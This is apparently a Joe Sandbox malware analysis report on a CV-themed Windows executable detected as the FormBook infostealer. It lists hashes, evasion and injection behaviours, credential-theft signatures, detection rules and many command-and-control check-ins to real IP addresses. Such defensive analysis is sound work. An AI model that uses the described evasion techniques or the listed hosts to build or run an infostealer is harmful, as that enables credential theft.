Edit tour

Windows Analysis Report
CV Lic H&S Olivetti Renzo.exe

Overview

General Information

Sample name:	CV Lic H&S Olivetti Renzo.exe
Analysis ID:	1561733
MD5:	dffcfc55dbe3596498888c48f569adcd
SHA1:	0a75b7cdb8ded9722a7f2188777793c6c62a178b
SHA256:	1dae087c41578f5a3a6ed11bbe54efa045598e2bdccf54db0315bbbe36fc1956
Tags:	exeuser-abuse_ch
Infos:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected FormBook

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

Found direct / indirect Syscall (likely to bypass EDR)

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Performs DNS queries to domains with low reputation

Queues an APC in another process (thread injection)

Sigma detected: Suspicious Process Parents

Switches to a custom stack to bypass stack traces

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evaded block containing many API calls

Found evasive API chain (date check)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

Potential key logger detected (key state polling based)

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Uncommon Svchost Parent Process

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

CV Lic H&S Olivetti Renzo.exe (PID: 7492 cmdline: "C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe" MD5: DFFCFC55DBE3596498888C48F569ADCD)

svchost.exe (PID: 7520 cmdline: "C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)

DIRZUznVUfWlad.exe (PID: 5728 cmdline: "C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

winver.exe (PID: 7884 cmdline: "C:\Windows\SysWOW64\winver.exe" MD5: B5471B0FB5402FC318C82C994C6BF84D)

DIRZUznVUfWlad.exe (PID: 4544 cmdline: "C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

firefox.exe (PID: 8032 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Formbook, Formbo	FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.	SWEED Cobalt	http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/ http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html https://0xmrmagnezi.github.io/malware%20analysis/FormBook/ https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/	https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000006.00000002.4145192791.0000000004BB0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000001.00000002.2031660118.00000000038D0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000006.00000002.4145128691.0000000004B60000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000001.00000002.2036469634.0000000004000000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000001.00000002.2031290785.0000000000400000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000005.00000002.4145164327.00000000028E0000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000006.00000002.4143976665.0000000003000000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
1.2.svchost.exe.400000.0.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
1.2.svchost.exe.400000.0.raw.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Process Parents

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe" , CommandLine: "C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe" , CommandLine|base64offset|contains: )^, Image: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe, NewProcessName: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe, OriginalFileName: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe, ParentCommandLine: "C:\Windows\SysWOW64\winver.exe", ParentImage: C:\Windows\SysWOW64\winver.exe, ParentProcessId: 7884, ParentProcessName: winver.exe, ProcessCommandLine: "C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe" , ProcessId: 4544, ProcessName: DIRZUznVUfWlad.exe

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe", CommandLine: "C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe", CommandLine|base64offset|contains: .', Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe", ParentImage: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe, ParentProcessId: 7492, ParentProcessName: CV Lic H&S Olivetti Renzo.exe, ProcessCommandLine: "C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe", ProcessId: 7520, ProcessName: svchost.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: "C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe", CommandLine: "C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe", CommandLine|base64offset|contains: .', Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe", ParentImage: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe, ParentProcessId: 7492, ParentProcessName: CV Lic H&S Olivetti Renzo.exe, ProcessCommandLine: "C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe", ProcessId: 7520, ProcessName: svchost.exe

Suricata Signatures

ETPRO MALWARE FormBook CnC Checkin (GET) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T08:09:50.755454+0100	2855465	1	A Network Trojan was detected	192.168.2.4	49736	76.223.74.74	80	TCP
2024-11-24T08:10:16.659859+0100	2855465	1	A Network Trojan was detected	192.168.2.4	49777	154.90.58.209	80	TCP
2024-11-24T08:10:32.893304+0100	2855465	1	A Network Trojan was detected	192.168.2.4	49817	47.76.213.197	80	TCP
2024-11-24T08:10:48.201147+0100	2855465	1	A Network Trojan was detected	192.168.2.4	49854	74.48.143.82	80	TCP
2024-11-24T08:11:03.029501+0100	2855465	1	A Network Trojan was detected	192.168.2.4	49893	13.248.169.48	80	TCP
2024-11-24T08:11:18.959244+0100	2855465	1	A Network Trojan was detected	192.168.2.4	49931	103.21.221.87	80	TCP
2024-11-24T08:11:36.004913+0100	2855465	1	A Network Trojan was detected	192.168.2.4	49972	8.210.46.21	80	TCP
2024-11-24T08:11:50.893888+0100	2855465	1	A Network Trojan was detected	192.168.2.4	50010	203.161.43.228	80	TCP
2024-11-24T08:12:05.646132+0100	2855465	1	A Network Trojan was detected	192.168.2.4	50034	13.248.169.48	80	TCP
2024-11-24T08:12:20.825674+0100	2855465	1	A Network Trojan was detected	192.168.2.4	50038	147.255.21.187	80	TCP
2024-11-24T08:12:35.945886+0100	2855465	1	A Network Trojan was detected	192.168.2.4	50042	104.21.42.77	80	TCP
2024-11-24T08:12:51.493441+0100	2855465	1	A Network Trojan was detected	192.168.2.4	50046	172.67.168.228	80	TCP
2024-11-24T08:13:06.696046+0100	2855465	1	A Network Trojan was detected	192.168.2.4	50050	194.58.112.174	80	TCP

ETPRO MALWARE FormBook CnC Checkin (POST) M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T08:10:08.556004+0100	2855464	1	A Network Trojan was detected	192.168.2.4	49759	154.90.58.209	80	TCP
2024-11-24T08:10:11.211663+0100	2855464	1	A Network Trojan was detected	192.168.2.4	49765	154.90.58.209	80	TCP
2024-11-24T08:10:13.907738+0100	2855464	1	A Network Trojan was detected	192.168.2.4	49771	154.90.58.209	80	TCP
2024-11-24T08:10:24.789764+0100	2855464	1	A Network Trojan was detected	192.168.2.4	49798	47.76.213.197	80	TCP
2024-11-24T08:10:27.446047+0100	2855464	1	A Network Trojan was detected	192.168.2.4	49804	47.76.213.197	80	TCP
2024-11-24T08:10:30.164858+0100	2855464	1	A Network Trojan was detected	192.168.2.4	49810	47.76.213.197	80	TCP
2024-11-24T08:10:40.198686+0100	2855464	1	A Network Trojan was detected	192.168.2.4	49835	74.48.143.82	80	TCP
2024-11-24T08:10:42.917056+0100	2855464	1	A Network Trojan was detected	192.168.2.4	49842	74.48.143.82	80	TCP
2024-11-24T08:10:45.583944+0100	2855464	1	A Network Trojan was detected	192.168.2.4	49848	74.48.143.82	80	TCP
2024-11-24T08:10:55.017097+0100	2855464	1	A Network Trojan was detected	192.168.2.4	49870	13.248.169.48	80	TCP
2024-11-24T08:10:57.596692+0100	2855464	1	A Network Trojan was detected	192.168.2.4	49880	13.248.169.48	80	TCP
2024-11-24T08:11:00.312704+0100	2855464	1	A Network Trojan was detected	192.168.2.4	49886	13.248.169.48	80	TCP
2024-11-24T08:11:10.868021+0100	2855464	1	A Network Trojan was detected	192.168.2.4	49909	103.21.221.87	80	TCP
2024-11-24T08:11:13.540115+0100	2855464	1	A Network Trojan was detected	192.168.2.4	49917	103.21.221.87	80	TCP
2024-11-24T08:11:16.211740+0100	2855464	1	A Network Trojan was detected	192.168.2.4	49924	103.21.221.87	80	TCP
2024-11-24T08:11:27.930490+0100	2855464	1	A Network Trojan was detected	192.168.2.4	49952	8.210.46.21	80	TCP
2024-11-24T08:11:30.602583+0100	2855464	1	A Network Trojan was detected	192.168.2.4	49958	8.210.46.21	80	TCP
2024-11-24T08:11:33.274209+0100	2855464	1	A Network Trojan was detected	192.168.2.4	49965	8.210.46.21	80	TCP
2024-11-24T08:11:42.908358+0100	2855464	1	A Network Trojan was detected	192.168.2.4	49991	203.161.43.228	80	TCP
2024-11-24T08:11:45.590373+0100	2855464	1	A Network Trojan was detected	192.168.2.4	49997	203.161.43.228	80	TCP
2024-11-24T08:11:48.403824+0100	2855464	1	A Network Trojan was detected	192.168.2.4	50004	203.161.43.228	80	TCP
2024-11-24T08:11:57.671231+0100	2855464	1	A Network Trojan was detected	192.168.2.4	50026	13.248.169.48	80	TCP
2024-11-24T08:12:00.297566+0100	2855464	1	A Network Trojan was detected	192.168.2.4	50032	13.248.169.48	80	TCP
2024-11-24T08:12:03.062130+0100	2855464	1	A Network Trojan was detected	192.168.2.4	50033	13.248.169.48	80	TCP
2024-11-24T08:12:12.741219+0100	2855464	1	A Network Trojan was detected	192.168.2.4	50035	147.255.21.187	80	TCP
2024-11-24T08:12:15.407420+0100	2855464	1	A Network Trojan was detected	192.168.2.4	50036	147.255.21.187	80	TCP
2024-11-24T08:12:18.190723+0100	2855464	1	A Network Trojan was detected	192.168.2.4	50037	147.255.21.187	80	TCP
2024-11-24T08:12:27.641372+0100	2855464	1	A Network Trojan was detected	192.168.2.4	50039	104.21.42.77	80	TCP
2024-11-24T08:12:30.335831+0100	2855464	1	A Network Trojan was detected	192.168.2.4	50040	104.21.42.77	80	TCP
2024-11-24T08:12:33.076962+0100	2855464	1	A Network Trojan was detected	192.168.2.4	50041	104.21.42.77	80	TCP
2024-11-24T08:12:43.368138+0100	2855464	1	A Network Trojan was detected	192.168.2.4	50043	172.67.168.228	80	TCP
2024-11-24T08:12:46.040089+0100	2855464	1	A Network Trojan was detected	192.168.2.4	50044	172.67.168.228	80	TCP
2024-11-24T08:12:48.715939+0100	2855464	1	A Network Trojan was detected	192.168.2.4	50045	172.67.168.228	80	TCP
2024-11-24T08:12:58.667448+0100	2855464	1	A Network Trojan was detected	192.168.2.4	50047	194.58.112.174	80	TCP
2024-11-24T08:13:01.334384+0100	2855464	1	A Network Trojan was detected	192.168.2.4	50048	194.58.112.174	80	TCP
2024-11-24T08:13:03.997525+0100	2855464	1	A Network Trojan was detected	192.168.2.4	50049	194.58.112.174	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: CV Lic H&S Olivetti Renzo.exe	ReversingLabs: Detection: 71%
Source: CV Lic H&S Olivetti Renzo.exe	Virustotal: Detection: 73%			Perma Link

Yara detected FormBook

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.4145192791.0000000004BB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2031660118.00000000038D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4145128691.0000000004B60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2036469634.0000000004000000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2031290785.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4145164327.00000000028E0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4143976665.0000000003000000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: CV Lic H&S Olivetti Renzo.exe

Joe Sandbox ML: detected

Source: CV Lic H&S Olivetti Renzo.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: winver.pdb source: svchost.exe, 00000001.00000003.1999929496.000000000341A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2000000788.000000000343B000.00000004.00000020.00020000.00000000.sdmp, DIRZUznVUfWlad.exe, 00000005.00000002.4144464628.0000000000AA8000.00000004.00000020.00020000.00000000.sdmp, DIRZUznVUfWlad.exe, 00000005.00000002.4144464628.0000000000A87000.00000004.00000020.00020000.00000000.sdmp, DIRZUznVUfWlad.exe, 00000005.00000003.1987572224.0000000000A9B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: DIRZUznVUfWlad.exe, 00000005.00000000.1954793647.0000000000E6E000.00000002.00000001.01000000.00000005.sdmp, DIRZUznVUfWlad.exe, 00000007.00000002.4144891699.0000000000E6E000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: CV Lic H&S Olivetti Renzo.exe, 00000000.00000003.1700519425.0000000004110000.00000004.00001000.00020000.00000000.sdmp, CV Lic H&S Olivetti Renzo.exe, 00000000.00000003.1700185346.00000000042B0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2032630378.0000000003B9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1938129987.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2032630378.0000000003A00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1939807476.0000000003800000.00000004.00000020.00020000.00000000.sdmp, winver.exe, 00000006.00000003.2031398698.0000000004C4E000.00000004.00000020.00020000.00000000.sdmp, winver.exe, 00000006.00000002.4145509825.0000000004FB0000.00000040.00001000.00020000.00000000.sdmp, winver.exe, 00000006.00000003.2038921468.0000000004DFC000.00000004.00000020.00020000.00000000.sdmp, winver.exe, 00000006.00000002.4145509825.000000000514E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: CV Lic H&S Olivetti Renzo.exe, 00000000.00000003.1700519425.0000000004110000.00000004.00001000.00020000.00000000.sdmp, CV Lic H&S Olivetti Renzo.exe, 00000000.00000003.1700185346.00000000042B0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000001.00000002.2032630378.0000000003B9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1938129987.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2032630378.0000000003A00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1939807476.0000000003800000.00000004.00000020.00020000.00000000.sdmp, winver.exe, winver.exe, 00000006.00000003.2031398698.0000000004C4E000.00000004.00000020.00020000.00000000.sdmp, winver.exe, 00000006.00000002.4145509825.0000000004FB0000.00000040.00001000.00020000.00000000.sdmp, winver.exe, 00000006.00000003.2038921468.0000000004DFC000.00000004.00000020.00020000.00000000.sdmp, winver.exe, 00000006.00000002.4145509825.000000000514E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: winver.pdbGCTL source: svchost.exe, 00000001.00000003.1999929496.000000000341A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2000000788.000000000343B000.00000004.00000020.00020000.00000000.sdmp, DIRZUznVUfWlad.exe, 00000005.00000002.4144464628.0000000000AA8000.00000004.00000020.00020000.00000000.sdmp, DIRZUznVUfWlad.exe, 00000005.00000002.4144464628.0000000000A87000.00000004.00000020.00020000.00000000.sdmp, DIRZUznVUfWlad.exe, 00000005.00000003.1987572224.0000000000A9B000.00000004.00000001.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003C6CA9 GetFileAttributesW,FindFirstFileW,FindClose,	0_2_003C6CA9
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003C60DD _wcscat,_wcscat,__wsplitpath,FindFirstFileW,DeleteFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindNextFileW,FindClose,FindClose,	0_2_003C60DD
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003C63F9 _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,	0_2_003C63F9
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003CEB60 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_003CEB60
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003CF56F FindFirstFileW,FindClose,	0_2_003CF56F
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003CF5FA FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_003CF5FA
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003D1B2F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_003D1B2F
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003D1C8A SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_003D1C8A
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003D1F94 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_003D1F94
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_0301C740 FindFirstFileW,FindNextFileW,FindClose,	6_2_0301C740

Source: C:\Windows\SysWOW64\winver.exe	Code function: 4x nop then xor eax, eax		6_2_03009E10
Source: C:\Windows\SysWOW64\winver.exe	Code function: 4x nop then mov ebx, 00000004h		6_2_04DE04E8

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49765 -> 154.90.58.209:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49798 -> 47.76.213.197:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49777 -> 154.90.58.209:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49736 -> 76.223.74.74:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49842 -> 74.48.143.82:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49835 -> 74.48.143.82:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49909 -> 103.21.221.87:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49759 -> 154.90.58.209:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49817 -> 47.76.213.197:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49848 -> 74.48.143.82:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49854 -> 74.48.143.82:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49771 -> 154.90.58.209:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49886 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49917 -> 103.21.221.87:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49924 -> 103.21.221.87:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49958 -> 8.210.46.21:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49931 -> 103.21.221.87:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49810 -> 47.76.213.197:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49870 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49952 -> 8.210.46.21:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49972 -> 8.210.46.21:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:50010 -> 203.161.43.228:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49893 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:50042 -> 104.21.42.77:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:50038 -> 147.255.21.187:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50040 -> 104.21.42.77:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50048 -> 194.58.112.174:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:50050 -> 194.58.112.174:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50037 -> 147.255.21.187:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50039 -> 104.21.42.77:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50047 -> 194.58.112.174:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50026 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50036 -> 147.255.21.187:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49997 -> 203.161.43.228:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50041 -> 104.21.42.77:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50044 -> 172.67.168.228:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49804 -> 47.76.213.197:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49991 -> 203.161.43.228:80
